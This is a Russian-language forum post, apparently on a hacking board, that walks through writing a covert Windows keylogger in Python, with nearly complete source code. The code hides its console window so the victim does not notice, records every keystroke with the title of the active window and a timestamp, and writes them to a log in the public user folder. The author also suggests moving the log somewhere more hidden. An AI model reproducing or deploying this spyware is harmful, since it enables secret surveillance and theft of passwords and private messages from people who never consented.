The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project

Кейлоггер на питоне

Tartuga

Местный
Регистрация
19.12.2019
Сообщения
101
Реакции
22
Сегодня напишем небольшой кейлоггер на пайтоне с использованием модуля Keybord [ссылка на github].

Итак первым делом необходимо скачать и установить модуль Keyboard.

Затем, если вы не пользуетесь никакими ide, презираете их и тд), то вам нужно создать отдельную папку для данного проекта и подпапку с именем modules, где нужно создать файл keyboard и сохранить его как .py... После чего можете уже открывать данный файл в вашем любимом текстовом редакторе и приступать к работе с ним.

Итак, давайте уже приступим непосредственно к делу... В самом начале как обычно прописываем импорт используемых модулей в программе и далее две строчки для скрытия консоли при работе кейлоггера, чтобы никто ничего не заподозрил) и переменная с файлом, куда будут записываться данные.

import keyboard #нужен для записи нажатий клавиш
from datetime import datetime #данная функция нужна для записи времени
import ctypes #этот модуль используется дляДля взаимодействия с функциями C

kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32

'''Скрываем консоль'''
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)

'''файл для записи'''
filename = "log.txt"





Теперь создаем следующую функцию для захвата текущего окна:

def get_current_window():

GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW

hwnd = GetForegroundWindow() '''берем дескриптор окна, с которым работает пользователь'''
length = GetWindowTextLength(hwnd) '''берем длину текста в строке заголовка'''
buff = ctypes.create_unicode_buffer(length + 1)'''создаем буфер для хранения заголовка окна'''

GetWindowText(hwnd, buff, length + 1) '''получаем заголовок окна и сохраняем в буефер'''

return buff.value # возвращаем значение буфера



Далее создадим функцию, используя которую будем записывать данные в файл

def write_to(file, content):
file.write(content)

И создадим функцию для возврата времени:

def get_timestamp():
return(round(datetime.now().timestamp()))

Итак, нам нужно создать все-таки основную функцию для отправки нажатий клавиш.

Логика нашей функции:

  • Эта функция сначала передает ключ, каждый ключ имеет атрибуты name, scan_codeи time.
  • Когда передается ключ, сначала проверяется, находится ли пользователь в предыдущем окне, которое он использовал.
True:
  • Далее, проверяя, введены ли ключи в ту же функцию, массивы key_listи key_infoобновляются.key_info хранит имя ключа вместе с отметкой времени, в которое было записано нажатие.
  • key_list сохраняет ключи, которые были введены в текущем окне.
  • Затем она возвращается и ждет следующего нажатия клавиши.
False (новое окно)
  • Текущая дата key_infoи key_listзаписываются в переменную с именемcontent
  • Открывается файл с возможностью добавления.
  • Этот файл хранится в общедоступном каталоге пользователя. Вы можете изменить это местоположение на более скрытое, если хотите, позже.
  • Переменная contentи переменная, указывающая на файл, затем отправляются в функцию write_toи contentзаписываются в файл.
  • Файл закрывается
  • Теперь массивы и текущее окно можно безопасно сбросить
  • Новая нажатая клавиша записывается в массивы
def write_key(key):
global key_info # хранит информацию текущ. клавишу
global key_list # список с именами клавиш
global prev_window # переменная для хранения последнего использованного окна

window = get_current_window()

'''если проходим проверку на использование текущего окна, то добавлет в список клавиш'''
if(window==prev_window):
'''Добавляем ключ и время в текущий список в виде строки'''
key_info.append(str(key.name) + " | " + " | " + str(round(key.time)))
'''Добавляем имя ключа в список'''
key_list.append(str(key.name))
return
'''Если вышли из текущего окна, то записываем в выходной файл'''
content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n"
out = open("c:/users/public/" + str(filename), "a")
write_to(out, content)
out.close()
key_info = [] #Сбрасывем массивы
key_list = []
prev_window = window #Переназначем переменную с текщем окном
key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) #Обновлем списки
key_list.append(str(key.name))


Теперь напишем функцию для подготовки сценария

def prepare():
global key_info
global key_list
global prev_window

key_info = []
key_list = []
prev_window = str()

'''При нажатии клавиши вызывается функция write_key'''
keyboard.on_press(write_key)

'''Прописываем, чтобы сценарий не был преждевременно прерван'''
keyboard.wait()

Все с keeboardom закончили:)

Теперь создаем в главной папке проекта файл main.py:

from modules import keyboard #Импортируем только что написанный файл

if __name__ == '__main__':
keyboard.filename = "log.txt" #это имя файла, куда все будет записываться
keyboard.prepare() #и вызываем функцию подготовки

Теперь осталось "скомпилировать" (почему в кавычках?! ну, потому что python не компилируемый яп... об этом можете почитать на различных различных ресурсах посвященным непосредственно пайтону....
 
Верх